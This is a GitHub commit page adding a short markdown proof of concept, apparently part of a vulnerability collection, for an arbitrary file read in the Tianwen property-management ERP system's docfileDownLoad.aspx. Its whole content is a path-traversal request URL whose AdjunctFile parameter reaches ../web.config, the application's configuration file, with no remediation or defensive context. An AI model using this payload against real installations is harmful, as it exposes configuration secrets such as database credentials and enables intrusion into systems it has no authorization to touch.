Create 天问物业ERP系统docfileDownLoad.aspx存在任意文件读取漏洞.md

This commit is contained in:
wy876 2024-03-12 18:30:40 +08:00 committed by GitHub
parent 279de55fa2
commit 4a5d92c10a
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -0,0 +1,7 @@
## 天问物业ERP系统docfileDownLoad.aspx存在任意文件读取漏洞
## poc
```
http://ip/HM/M_Main/WorkGeneral/docfileDownLoad.aspx?AdjunctFile=../web.config
```